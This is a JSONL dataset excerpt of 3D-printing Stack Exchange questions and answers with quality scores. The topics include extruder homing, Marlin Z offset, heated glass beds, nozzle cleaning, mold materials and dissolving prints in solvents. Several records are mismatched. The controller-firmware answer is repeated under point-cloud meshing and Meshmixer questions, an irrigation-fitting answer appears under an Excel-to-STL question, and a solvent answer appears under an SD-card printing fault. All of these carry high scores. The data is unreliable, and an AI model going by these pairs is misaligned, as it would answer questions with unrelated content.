"https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.780773"}
{"id": "hf_9ae21352576f", "question": "<p>Note: I have extended my question as some of you mentioned that the question is not clear.</p>\n\n<p>I am using a RAMPS 1.4 board with an Arduino mega 2560. I need to drive a stepper motor as an extruder using either E0 or E1. I am using Repetier-Firmware and can drive the extruder (stepper motor) using the E0 (RAMPS 1.4). \nNow for my application, I need to make sure that the extruder is in home position before it starts to drive for the very first time. I am trying to use a  switch to connect to the end stop and perform this homing operation. I can do this for X, Y, and Z axes. I was wondering how (h/w connections and firmware modification) can I do it for the extruder?</p>\n", "question_body": "", "answer": "The edited question\nappears to mention that\nthe actual extruders of the print head need to home / limit themselves\n. The answer is that this is not required. When operating direct or Bowden driven extruder setups, you know (or you can measure or find out experimentally) the distance that the filament has to travel from extruder entry to hot end (e.g. to load new filament). If already loaded, because you have printed before, you also know where the filament is (filament could stop after printing, personally I retract the filament en few mm after a print). When a new print starts you usually reverse the retraction at temperature and extrude some extra filament to prime the nozzle to counteract oozed out filament for instance. At that point, the nozzle is primed and the gcode G92 E0 is then used to tell the extruder this is the start at zero length, sort of the home position of the filament. All this is usually done in the start code of your slicer, similar to  disabling bed and hot end temperature or final retract is done in the end code of your slicer.\nThis answer below addresses the initial question\n, this question was not quite clear. It was\nphrased as of the head containing the extruders needed to be homed correctly\n. The normal end-stops (can be mechanical or optical switches) already ensure that the printer head (containing the extruder or extruders) is homed correctly (if correctly configured in your printer firmware). The home offsets you define in the firmware define that you start at the origin (0,0,0).\nYour question does not state what firmware you use, but e.g. in Marlin firmware these settings are found in the\nfirmware configuration file\n.\nIn this file the following is defined:\n```\n```\n// Travel limits (mm) after homing, corresponding to endstop positions.\n#define X_MIN_POS 0\n#define Y_MIN_POS 0\n```\n```\nThese values must be changed according to the offset between your switch and the origin of the heat bed (e.g. Prusa style printers have the origin at the front left).\nFor my Prusa clone printer I have defined:\n```\n```\n// Travel limits (mm) after homing, corresponding to endstop positions.\n#define X_MIN_POS -35\n#define Y_MIN_POS -12\n```\n```\nWhat this says is that the homing switch for the X axis is 35 mm left of the origin, etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.800966"}
{"id": "hf_e548fe7c904b", "question": "<p>Are these vertical lines described as \"banding\"?</p>\n\n<p>Would the most likely culprit be the extruder?</p>\n\n<p>FWIW, this was printed in \"vase mode\".</p>\n\n<p><a href=\"https://i.stack.imgur.com/0ZCPF.jpg\" rel=\"noreferrer\" title=\"&quot;Vase mode, PLA\"><img src=\"https://i.stack.imgur.com/0ZCPF.jpg\" alt=\"Vase mode, PLA\" title=\"&quot;Vase mode, PLA\"></a></p>\n", "question_body": "", "answer": "Banding usually refers to Z banding and manifests itself in a wavy/non-straight wall in Z direction:\nThis sort of banding is related to mechanical or design issues of the printer (lead screw (nuts), belts, play, etc.)\nYour print, however, shows local thicker walls. It appears that these local thicker parts are related to the change in direction of the print head. A 3D printer does not print curved lines or arcs (although\nG-codes do exist for arc movement\n), all movements are straight lines. So the cylinder consists of straight lines. By rendering the cylinder with more triangels you could increase the amount of straight lines to form a better approximation of the cylinder circumference. You could also try to lower the printing speed, but since you did not post any printing parameters that will be a guess.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.835597"}
{"id": "hf_9e695f95d87b", "question": "<p>I have a 15x15 cm heating resistor from my current printer (printing area: 12x12 cm).</p>\n\n<p>I would like to switch to a glass bed and to rework my printer to increase the printing area to 20 cm (22x22 cm glass plate).</p>\n\n<p>Would it be possible to use the old heating resistor placed only in the centre? this way I would have a smaller heated bed for ABS and a bigger one for PLA.</p>\n\n<p>Would the glass crack due to non uniform heating? This is because glass has a conductivity of less than 5 W/mK, therefore the hot area will stay hot and basically never really spread the heat to the surrounding area. So the frame will be cold and the center hot, causing stresses.</p>\n\n<p>Related: <a href=\"https://engineering.stackexchange.com/questions/31842/how-much-an-unevenly-heated-glass-plate-bows\">https://engineering.stackexchange.com/questions/31842/how-much-an-unevenly-heated-glass-plate-bows</a></p>\n", "question_body": "", "answer": "The glass will be taking up the heat to slowly cover its full area.\nThat means two things:\nit will not crack as there is no thermal shock\nit will put more pressure on the heater as there will be bigger heat absorption, so in an edge case, you could end-up with not getting a required temperature on the glass surface and/or the heating process will be very slow.\nIn that case, I personally will try that out and then if I have an issue with getting proper temperature, then I will buy a new heater.\nA comment regarding heat expansion:\nmy glass is about 20mm longer than the bed and it is warm during the printing process. The 'breaking' stress is connected with temperature shock (an immediate temp change), not a relatively slow heating process. However, borosilicate glass also known as Pyrex (TM) expands very little. Much less than most metals. This is why it doesn't break when exposed to sudden hot and cold changes. So in short words - check tea lighter under your tea-pot and see how te heat is comming out from the centre\nsource", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.883107"}
{"id": "hf_6448b550b946", "question": "<p>How does Z offset (<code>M851</code>) work with an auto leveling sensor? Does it add the Z offset to the offset of the <code>G29</code> mesh? or the <code>G29</code> value replaces the <code>M851</code>?</p>\n<p>My printer is an Anet A8 with Marlin firmware, I was having issues with the autoleveling sensor and reset the Z offset to 0 and let <code>G29</code> get the mesh offsets and its working good now.</p>\n<p>I was looking through Marlin G-code page but couldn't figure out how <code>G29</code> affects <code>M851</code> or vice-versa.</p>\n<p>My setup with level issues:</p>\n<pre><code>M851 Z0\nG28 \nM211 S0 ;turned endstops off and got a paper to find the zoffset\nM851 Z-0.59\nM500\nM211 S1\n</code></pre>\n<p>And <code>G29</code> before printing.</p>\n", "question_body": "", "answer": "```\nG28\n```\ninstructs the printer to home itself to the X an Y endstops and the Z sensor determines the homing of the Z axis; i.e. when the sensor triggers, this is not necessarily (and most commonly) not the position where the nozzle is at Z=0.\n```\nG29\n```\ndetermines the shape of the bed by probing the bed. This will set the shape of the bed with respect to the sensor trigger point as described earlier. The Z-offset (set by\n```\nM851 Z-x.xx\n```\nis needed to set the offset between the nozzle and the sensor trigger point (to the bed).\nThe sequence to determine the offset is:\n```\n```\nM851 Z0; // Set the Z offset to zero height\nG28;     // Home Z in the middle of the bed\nG1 Z0;   // This will move the head to zero height;\nM211 S0; // This will disable the end stops so that you \n         // will be able to proceed lower than Z=0\n```\n```\nNow adjust Z height to fit a piece of paper and note the negative Z height (either through the LCD or through an application or\nconsole/terminal\nover USB)\nPlease remember, that a sensor doesn't level your bed, is compensates for the shape, the user should always tram (level) the bed as good as possible with respect to the nozzle print head movement plane! This implies that the user should tram the complete bed as good as the skills allow, all corners, like you would do with a normal Z endstop switch.\n```\n```\nM851 Z-1.23; // Define the Z offset\nM500;        // Store the settings\nM211 S1;     // Enable the end stops again\n```\n```\nPlease note that -1.23 is a fictive value that should be replaced by your own value.\nTo explicitly answer the raised question, the\n```\nG29\n```\nprobes the bed by scanning the surface geometry and the\n```\nM851\n```\nadds an offset for the sensor trigger to the nozzle (at the center). The offset is required to let the firmware know where the nozzle is with respect to the trigger point. The offset therefor lowers the scanned\n```\nG29\n```\nsurface, no replacement is taking place. The sketches below illustrate this:\nnote that the bottom line of the \"M851 Z offset\" denotes the\n```\nG29\n```\nscanned surface", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.907041"}
{"id": "hf_1bdbbf120cfb", "question": "<p>I'm thinking about building my own 3D printer/Laser Engraver/CNC. Since all use a standard Cartesian axis I wanted to be able to swap out tool heads depending on the purpose. I have everything thought out except the coding aspect of the project.</p>\n\n<p>I currently own a 3D printer and am familiar with some of the coding aspects, gcode, stepper motor moment, axis zeroing, etc; but if I am to build a 3 axis system how do you go about coding it? Are there programs that automatically calibrate all the motors? Can I take existing 3D printer programs and adjust the stepper motor values and build plate area? or do I have to code a new printing program from scratch that can read gcode? For simplicity lets just talk about the printing aspect of the build as I realize that CNC's and laser engravers work on different vector systems. Thanks :)</p>\n", "question_body": "", "answer": "The foundation of any 3D printer is the controller and the firmware. Many devices are based on Arduino type controllers, with stepper motor driver boards either integrated or added as a plug-in component.\nSome manufacturers will use in-house or outside resources and develop their own boards and firmware.\nYou can search for 3D printer controllers and get a pretty comprehensive list of the various devices available for purchase.  Smoothieboard is one device, Raspberry Pi and Arduino as noted above, and others.\nThere can be found varying \"flavors\" of firmware to load onto these controllers as well.\nThe field is exhaustive.\nTo address your focus regarding the printing aspect, that's one stepper motor per print head/nozzle (usually) and involves calibrating the amount of filament dispensed from the nozzle per unit steps, or more easily understood, amount of steps per unit of filament movement. My stepper motor for the extruder has a planetary gear and moves 100 mm of filament for about 5000 steps.\nAll of the parameters you've noted are integrated with the firmware. Motor calibration requires movement per step or steps per millimeter to be entered, unless you purchase a turnkey system with the values loaded.\nYou can adjust many of the parameters from the slicing software, but it's more practical to determine the calibration settings, enter that information into your slicer and proceed with model management.\nLook into instructables for others' build projects to see what they've accomplished and the steps involved in such a build. This can give you a starting point for your efforts.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.946923"}
{"id": "hf_9f20817f9015", "question": "<p>I have a very dense point cloud (billions of points) of the exterior of a building obtained by laser scanning it with a Leica head.\nI successfully subsampled it down to around 500,000 and I'm trying to print the building by first creating a mesh.\nI tried using CloudCompare, Meshlab and PDAL, using Poisson surface reconstruction.\nHowever, the resulting mesh is full of holes, mainly in the roofs which have the lowest point density, and I cannot print it.\nIs there any algorithm which could use the fact that the point cloud is precisely the exterior part of a geometric thing?</p>\n", "question_body": "", "answer": "The foundation of any 3D printer is the controller and the firmware. Many devices are based on Arduino type controllers, with stepper motor driver boards either integrated or added as a plug-in component.\nSome manufacturers will use in-house or outside resources and develop their own boards and firmware.\nYou can search for 3D printer controllers and get a pretty comprehensive list of the various devices available for purchase.  Smoothieboard is one device, Raspberry Pi and Arduino as noted above, and others.\nThere can be found varying \"flavors\" of firmware to load onto these controllers as well.\nThe field is exhaustive.\nTo address your focus regarding the printing aspect, that's one stepper motor per print head/nozzle (usually) and involves calibrating the amount of filament dispensed from the nozzle per unit steps, or more easily understood, amount of steps per unit of filament movement. My stepper motor for the extruder has a planetary gear and moves 100 mm of filament for about 5000 steps.\nAll of the parameters you've noted are integrated with the firmware. Motor calibration requires movement per step or steps per millimeter to be entered, unless you purchase a turnkey system with the values loaded.\nYou can adjust many of the parameters from the slicing software, but it's more practical to determine the calibration settings, enter that information into your slicer and proceed with model management.\nLook into instructables for others' build projects to see what they've accomplished and the steps involved in such a build. This can give you a starting point for your efforts.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.970806"}
{"id": "hf_e6186c8d5107", "question": "<p>I was working on a model today and I need to make the black surface into a normal surface so that the ship's cockpit is solid. I am unable to select the black surface. I tried using the flip normals feature, but I was still unable to select it. Any advice on how to make it into a solid is greatly appreciated. Thanks. :)</p>\n\n<p>Edit: Here's the link to the file\n<a href=\"https://drive.google.com/file/d/1mbTdeeZqhNJx-WlXNqF8mD8QYDSI3Vh_/view?usp=sharing\" rel=\"nofollow noreferrer\">https://drive.google.com/file/d/1mbTdeeZqhNJx-WlXNqF8mD8QYDSI3Vh_/view?usp=sharing</a></p>\n\n<p><a href=\"https://i.stack.imgur.com/bInCO.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/bInCO.png\" alt=\"The weired surface in meshmixer\"></a></p>\n", "question_body": "", "answer": "The foundation of any 3D printer is the controller and the firmware. Many devices are based on Arduino type controllers, with stepper motor driver boards either integrated or added as a plug-in component.\nSome manufacturers will use in-house or outside resources and develop their own boards and firmware.\nYou can search for 3D printer controllers and get a pretty comprehensive list of the various devices available for purchase.  Smoothieboard is one device, Raspberry Pi and Arduino as noted above, and others.\nThere can be found varying \"flavors\" of firmware to load onto these controllers as well.\nThe field is exhaustive.\nTo address your focus regarding the printing aspect, that's one stepper motor per print head/nozzle (usually) and involves calibrating the amount of filament dispensed from the nozzle per unit steps, or more easily understood, amount of steps per unit of filament movement. My stepper motor for the extruder has a planetary gear and moves 100 mm of filament for about 5000 steps.\nAll of the parameters you've noted are integrated with the firmware. Motor calibration requires movement per step or steps per millimeter to be entered, unless you purchase a turnkey system with the values loaded.\nYou can adjust many of the parameters from the slicing software, but it's more practical to determine the calibration settings, enter that information into your slicer and proceed with model management.\nLook into instructables for others' build projects to see what they've accomplished and the steps involved in such a build. This can give you a starting point for your efforts.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:56.993930"}
{"id": "hf_cecb33ae701c", "question": "<p>I was considering printing some pieces for my irrigation system, like tube connectors and such. I am aware that PLA is hydrophilic so I was wondering with what kind of product I could coat the pieces, non-toxicity is a requirement because it will water edible greens.</p>\n\n<p>So, what kind of non-toxic product can I use to coat PLA to make it hydrophobic?</p>\n", "question_body": "", "answer": "Before worrying too much about the hydrophilic properties of PLA, it might be worthwhile to test a fitting.\nFirst, print a fitting and see that the freshly made print is strong enough to carry the pressure of the water, and the compression force of hose clamp you may need to connect the stiff irrigation hose to the printed fitting.\nSecond, soak the printed fitting in water for month or two, perhaps at an elevated temperature to match the higher ground temperature in the summer.  You could put the part in a closed mason jar and leave it in the sun.  You might add a little salt and fertilizer to the water to simulate ground conditions.\nAfter this aging process, you could test to see if it withstands the pressure of the domestic water system.\nYou might also measure the ground temperatures where you intend to use the fittings.  I find that PLA has no structural strength above about 150 degrees Fahrenheit (65 degrees Centigrade), and the inability to resist slow plastic may start at an even lower temperature.  [For example, I print structural PLA parts with negative clearances and then dip them in 160 degree F water to soften them.]\nIf the printed fittings are strong enough but suffer from water absorption, I would either print them of ABS or coat them with an ABS coating.  To make the coating, dissolve ABS in acetone until it is the consistency of thick cream, dip your fitting in the mixture, and allow them to dry.  It will take longer than you think it should to dry, and the solution will take more ABS plastic than you might expect.\nABS is not generally considered to be \"food safe\", but this isn't a potable water system.  The FDA lists ABS as conditionally food safe, and I would be comfortable using it to irrigate my lawn and vegetables.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:57.016171"}
{"id": "hf_68fd63b58368", "question": "<p>Given a large set of data, I was able to create a 3D graph in Microsoft Excel.  How can I create a STL file similar to this graph to create a physical model of this graph?\n<a href=\"https://i.stack.imgur.com/xvJhX.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/xvJhX.jpg\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "Before worrying too much about the hydrophilic properties of PLA, it might be worthwhile to test a fitting.\nFirst, print a fitting and see that the freshly made print is strong enough to carry the pressure of the water, and the compression force of hose clamp you may need to connect the stiff irrigation hose to the printed fitting.\nSecond, soak the printed fitting in water for month or two, perhaps at an elevated temperature to match the higher ground temperature in the summer.  You could put the part in a closed mason jar and leave it in the sun.  You might add a little salt and fertilizer to the water to simulate ground conditions.\nAfter this aging process, you could test to see if it withstands the pressure of the domestic water system.\nYou might also measure the ground temperatures where you intend to use the fittings.  I find that PLA has no structural strength above about 150 degrees Fahrenheit (65 degrees Centigrade), and the inability to resist slow plastic may start at an even lower temperature.  [For example, I print structural PLA parts with negative clearances and then dip them in 160 degree F water to soften them.]\nIf the printed fittings are strong enough but suffer from water absorption, I would either print them of ABS or coat them with an ABS coating.  To make the coating, dissolve ABS in acetone until it is the consistency of thick cream, dip your fitting in the mixture, and allow them to dry.  It will take longer than you think it should to dry, and the solution will take more ABS plastic than you might expect.\nABS is not generally considered to be \"food safe\", but this isn't a potable water system.  The FDA lists ABS as conditionally food safe, and I would be comfortable using it to irrigate my lawn and vegetables.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:57.038900"}
{"id": "hf_01e0101a6cac", "question": "<p>I just changed my nozzle on my Anet A8 after it was fully used up. When I started printing with my new 0.4&nbsp;mm nozzle (same as before) my <a href=\"https://imgur.com/a/2x42LTB\" rel=\"nofollow noreferrer\">extrusion</a> was VERY bad and inconsistent, even so bad I couldn't continue printing because it would pull the first layer off. </p>\n\n<p>If I compare it to my <a href=\"https://imgur.com/a/oOOK50y\" rel=\"nofollow noreferrer\">extrusion</a> before the nozzle switch, it is really bad, even though I tightened everything as before. I am quite sure it doesn't have to do with adhesion to the heated bed since I use tape with PVA glue. </p>\n\n<p>Any advice on how to remove this under extrusion so I can continue printing?</p>\n\n<p>All the specs:</p>\n\n<ul>\n<li>25&nbsp;mm/s first layer print speed</li>\n<li>200&nbsp;&deg;C nozzle</li>\n<li>60&nbsp;&deg;C bed</li>\n<li>PLA filament;</li>\n<li>0.4&nbsp;mm nozzle size</li>\n</ul>\n\n<p>Let me know if there is anything else you need to know.</p>\n", "question_body": "", "answer": "Your good extrusion look also a little bad , and the bad extrusion looks like a big feeding problem. for this you need:\nFeeding.- try to tight the presure of the feeder thread, the one that press the filament on the extruder.\nBed Adhesion.- Use between 32° and 38°C if you are using masking tape, on higher temperatures the masking tape becomes to peel off if any border of the printing part is close to the edge of the tape.\nSand the masking tape surface and clean it to be free of dust (eliminate shiny surface) with this is enough to get a good adhesion; I recommend TUK and 3D brands, they are sticky. If you need more adhesion you can spray a little hair spray, just one pass.\nClogged Nozzle.- you need to clean it, on your kitchen stove heat the nozzle until melt the filament, then use some cooper wire (some phone wiring has it) to remove residues inside the nozzle. If posible you can buy a drill bit with 0.4mm diameter to ensure a complete cleaning.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:57.073385"}
{"id": "hf_61386fe76cfd", "question": "<p>My Printrbot simple metal's extruder is jammed and I need to heat it up to unjam it. Unfortunately, the printer does't want to connect to my laptop regardless of the program I'm using (Repetier-Host or Cura 15). </p>\n\n<p>Is there a way to use a micro SD card to heat up the printer hotend but not print anything?</p>\n", "question_body": "", "answer": "Sure there is. As you use Cura, you can grab any G-code file (you already have) and use it to set hotend temperature (delete the actual printing part from the file) to get something like this:\n```\n```\n;FLAVOR:Marlin\n;TIME:102\n;Filament used: 0.0573674m\n;Layer height: 0.2\n;Generated with Cura_SteamEngine 3.3.1\n; M190 S60 ;-> this sets the bed temperature so we can comment it out\n; the next line sets the hotend to 200 degrees Celsius\nM104 S200\n```\n```\nAs every line that starts with a semi-colon is a comment and is ignored by the printer,\n```\nM104 S200\n```\n, would be the only line you need in the printout file.\nIf you're interested in knowing more - look here:\nG-codes on reprap wiki", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:57.121571"}
{"id": "hf_87aee48f5a12", "question": "<p>I want to know how to make a mold of a 3D design in .stl format.</p>\n\n<p>Suppose I have a 3D partin .stl format (for e.g. a cylinder) and I want to make/design a mold for this object (i.e. the structure through which I could make the cylinder). Is there any way to do so? Are there any tools to do so?</p>\n\n<p>My requirement is as follows: I have an .stl file of a design and need to develop the CAD files for its mold. I will then need to 3D print these molds. I would require to add a hole to pour in liquid (resin based) raw material which hardens with time. </p>\n", "question_body": "", "answer": "You can also bring the model and a big box into slic3r, align and orient them (enclose the model in the box), and do a subtract modifier, leaving a hollow where the two intersected. You probably want to do this twice, for a top mould and a botom mould. I've done this, but I don't see any instructions online for it. :(\nEDIT: Unfortunately, this would be very tedious. It's much easier to use meshmixer or another publicly available program to subtract one stl from another.\nIn Slic3r, using another stl as a modifier has no effect unless you are also printing that second stl (normally from another head). So you would have to manually remove all the gcode for the second head. Sorry for the bad advice.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:57.145506"}
{"id": "hf_fbe6407e45b3", "question": "<p>I am a complete noob when it comes to the 3d printing world. I just finished assembling my printer and I plug it into my computer with the included usb cable and nothing happens. My computer does recognize the printer being plugged in but it just says \"unrecognized device in com 4\". Nothing else past that. Somebody please help me with the following steps that need to be taken to get my CPU talking with my printer. </p>\n", "question_body": "", "answer": "Your question addresses (USB) computer connection, so that will be addressed in this answer. For connection to the printer, you need 2 things (apart from the apparent things as computer, printer and cable):\nA working CH340 driver installed on the computer for USB communication with the board,\na piece of software to talk to the computer at a bit transfer rate the printer understands.\nThe cheap Arduino based boards rely on the CH340 chip for USB communication. You should check whether you have correctly installed this driver. These drivers are erroneous and prone to cause problems. Sometime re-installation works, once did work for me.\nThe SD card supplied by Anet contains a folder (on my SD card:\n```\n.\\A8\\A8资料\\Software\\CH340G Drive\n```\n) with the installer file of the driver. Once installed properly, you should be able to connect various applications to the A8, provided you use the correct baud rate of 115200.\nAll this said,\nare you asking the correct question\n? Why do you need to connect to a computer, as you can print just fine by putting sliced\n```\n.stl\n```\nfiles (\n```\n.gcode\n```\nfiles) onto the SD card (when inserted in the computer using the adapter) and reinsert the card again in the printer to select the file using the menu buttons of the printer. Printing from SD card is considered safer then printing via the computer over USB as the print will stop when the PC is shut down or crashes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:57.169445"}
{"id": "hf_22c0073426db", "question": "<p>If I have to make an injection mold (for resin based raw material) using 3D printing, what raw material should I choose – PLA,  ABS, HIPS etc.</p>\n", "question_body": "", "answer": "P20 mold steel is one standard. Hardened parts are required for long life, depending on the service and material (some materials are quite abrasive).\nYou can get a small number of relatively poor quality shots out of epoxy if it is properly supported by a metal box. Your best bet if you want to include 3D printing in the equation is probably to use epoxy or lost plastic casting from a 3D-printed master. Aside from the requirements of core and cavity with sufficient strength, there are requirements for vents, cooling tubes (bubblers and such like) ejector pins and slides that complicate most real molds. Productivity demands a high heat transfer rate, for very small quantities of expensive parts, thermal design may be less important.\nTemperatures and pressures are very high in injection injection molding- high enough to melt the materials you mention, and the pressures are in the 10K PSI range, so a 4\" x 4\" projected cavity will have a pressure in the 80 ton region.\nIf you have sintered and filled metal 3D parts they may be suitable, but from the prices I've seen you'd be better off to use conventional machining. Finish is also very important if you want the part to come out of the mold, with hours of semi-manual polishing not uncommon. If you don't have fine surface finish you will need extreme draft angles.\nThe requirements can be considerably relaxed if you are molding soft parts such as the PVC or TPE overmolds on cables. The pressure is less and the finish less important because the plastic is soft, but the temperatures are still quite high. This is sort of a sub-category of injection molding and specialized machines are used.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:57.194354"}
{"id": "hf_a65eb7b1a7aa", "question": "<p>My print popped out from the bed and glued to the nozzle. As the printer was printing next hour or so, a lot of pla was extruded and formed on the nozzle. </p>\n\n<h2>I'm wondering what will be the best way to remove pla from the nozzle without overheating wires?</h2>\n\n<p>a remark: was trying to heat the nozzle over 180, but I am getting a thermal runout. The pla is hard, I don't want to broke the throat.</p>\n\n<p><a href=\"https://i.stack.imgur.com/jC20j.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/jC20j.jpg\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "If you grab the blob with a pliers and twist, all or most of it may pop off.  If not,  heat the extruder up perhaps 10 degrees higher than usual, and wait for the external gunk to soften up and then pull it off.\nedit :\nWell, if it won't get hot enough, then try using an external source such as a soldering iron tip to cut off most of the mess, then it may be time for exacto knife blades and small files to remove the remainder.\nUnless you're a clean freak :-) a little residue around the nozzle doesn't matter - it won't touch your prints and at some time in the future it'll be \"cooked\" enough to fall off.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:57.230604"}
{"id": "hf_216ba66fc32a", "question": "<p>I would love to re-use my failed prints by re-extruding the plastic to be used in the 3D printer once again. One thing that stands in my way is finding an effective way to shred the plastic into smaller bits for the extrude to use. What is a good thing to look for to accomplish this? Maybe a really big 'paper' shredder?</p>\n", "question_body": "", "answer": "there is a project called\n```\nprecious plastic\n```\nand there is a\nplastic shredder\n, but it is a rather expensive solution.\nAs I am waiting for parts for my\nLyman extruder\n, my plan is to hammer the parts and then process in old kitchen robot with steel working area, an\nexample here\nThe paper shredder will be ok as long as you can feed it with plastic.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:57.255070"}
{"id": "hf_b353163bce00", "question": "<p>I'm trying to build a headrest for my Sayl office chair. For that, I'm designing a 3d-printed part that's going to fit on one of the existing rods of the chair.</p>\n\n<p>Check out this picture:</p>\n\n<p><a href=\"https://i.stack.imgur.com/PMzGy.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/PMzGy.jpg\" alt=\"\"></a></p>\n\n<p>How would you go about in getting the exact measurements of that white rod? I tried a caliper, and I'm able to get the width and depth, and I can just assume that the rod's profile is a perfect ellipse, which is probably a close estimate. But say that I want to get a more precise measurement. Is there any technique to do that? </p>\n", "question_body": "", "answer": "You could pull it apart and have it 3d scanned if you want to know the exact dimensions. There are companies that can do that for you at a certain price. Our company has used such services in scanning various parts before we obtained our own laser scanning device.\nThe question is whether you want exactly the same (dimension wise) part (maybe you do for ecstatic reasons) while a part that is a little more beefier would work also.\nEdit:\nAlthough tagged with 3D scanning, the OP did not mention whether he would be able to disassemble the part. 3D scanning is an option when taken apart. Another solution has been posted since.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:57.379907"}
{"id": "hf_b2c1d36d1429", "question": "<p>I want to print a structure that I can embed in a resin and later dissolve. I know that some fancy 3D printing systems have raft materials etc., that can be printed and later removed easily. </p>\n\n<p>Can any one suggest a 3D printing material that can be dissolved in say water or another readily available solvent?</p>\n", "question_body": "", "answer": "ABS dissolves in acetone. Indeed actone can be used to clean up 3D prints, see\nWhat's smoother? Acetone treated PLA or ABS\n. PLA maybe not somuch as ABS, see the same post.\nPLA dissolves in any chlorinated or fluorinated solvent, such as THF or Chloroform - both of which are significantly more hazardous than acetone.\nHence, as always\ntake care\nwhen using solvents, see\nSafety precautions when using acetone\nAlso, as filaments are often not pure ABS or PLA, due to additives and dyes, etc., then the solvent may not dissolve the 3D printed part\ncompletely\n, and you may be left with a deformed, rubbery residue.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:57.437214"}
{"id": "hf_9b63ec988491", "question": "<p>Ok so I am trying to print a new fusion 360 file that I converted into an STL and then into gcode using cura and I got the gcode loaded onto the SD card and mounted into my Monoprice 3D printer, Maker Select 3D Printer v2, and tried to do a print. Now here is the strange part. When I choose \"print file\" and then select a gcode to print it takes me back to the main screen and from there the 3D printers screen displays \"Printing...0%\" for a few seconds. After this it just goes back to displaying \"Stepper Disabled.\" And if it is not stepper disabled it is just a blank screen. I tried to mount and print multiple gcodes just to make sure that it was not the softwares fault and low and behold I was running into the same issue. </p>\n\n<p>Now before using today all of the gcode was printing just fine, however for some reason today it decided to give me this issue. </p>\n", "question_body": "", "answer": "ABS dissolves in acetone. Indeed actone can be used to clean up 3D prints, see\nWhat's smoother? Acetone treated PLA or ABS\n. PLA maybe not somuch as ABS, see the same post.\nPLA dissolves in any chlorinated or fluorinated solvent, such as THF or Chloroform - both of which are significantly more hazardous than acetone.\nHence, as always\ntake care\nwhen using 